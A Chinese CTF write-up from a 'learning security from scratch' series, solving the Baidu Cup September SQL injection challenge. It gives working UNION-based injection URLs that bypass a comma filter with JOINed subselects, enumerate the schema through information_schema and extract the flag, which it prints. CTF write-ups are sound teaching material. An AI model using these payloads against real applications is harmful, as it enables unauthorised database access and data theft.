从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli

先扫后台发现 两个可疑登录界面 l0gin.php login.php 猜测是第一个 用bp 抓包发现 index.php 中间有302 重定向 头文件 里面有一个 page=l0gin.php 应该是他了 暗示的很明确了

显示 1 flag 先手动把 习惯手动sql注入

先判断 是数字型还是字符型 1' %23 看出不来 直接 union select 1,2 %23

ok

2被截断了 说明，存在被截断 而且直接是输出了字符串 猜测字符型 竟然 , 不能用 可以join 连接select

union select * from select 1 join select 2 %23 成功回显 按照这个直接获取库名表名

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select database()) a join (select null) b%23

获取库 sqli

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select table_name from information_schema.tables where table_schema='sqli') a join (select null) b%23

获取表 users

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select null) b%23

获取字段

id username

id,username,flag_9c861b688330 null

ok 发现了

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select flag_9c861b688330 from users) a join (select null) b%23

得到结果

id 　　　　　　　　　　　　　　　　　　　　username

flag{7176716c-1d16-474c-8660-33faaf8bc43e}  null